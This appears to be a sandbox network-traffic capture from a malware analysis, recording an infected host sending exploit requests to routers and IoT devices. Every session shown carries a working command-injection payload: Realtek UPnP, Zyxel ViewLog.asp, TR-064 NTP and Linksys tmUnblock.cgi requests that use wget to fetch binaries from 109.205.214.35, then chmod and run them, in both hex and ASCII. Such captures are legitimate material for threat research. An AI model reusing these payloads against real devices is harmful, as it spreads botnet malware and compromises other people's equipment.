Mar 21, 2024 05:23:19.059494019 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:22.287372112 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:28.428318024 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:40.463373899 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1569	192.168.2.13	34086	178.79.175.195	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:19.083684921 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:19.240678072 CET	470	IN	HTTP/1.1 404 Not Found date: Thu, 21 Mar 2024 04:23:19 GMT server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips content-length: 217 content-type: text/html; charset=iso-8859-1 set-cookie: NB_SRVID=srv91965255; path=/ connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1570	192.168.2.13	33408	31.104.157.156	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:19.168596983 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1571	192.168.2.13	56324	172.65.156.244	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:19.207238913 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1572	192.168.2.13	36246	201.213.210.204	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:19.241938114 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1573	192.168.2.13	59172	212.93.120.203	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:19.259479046 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
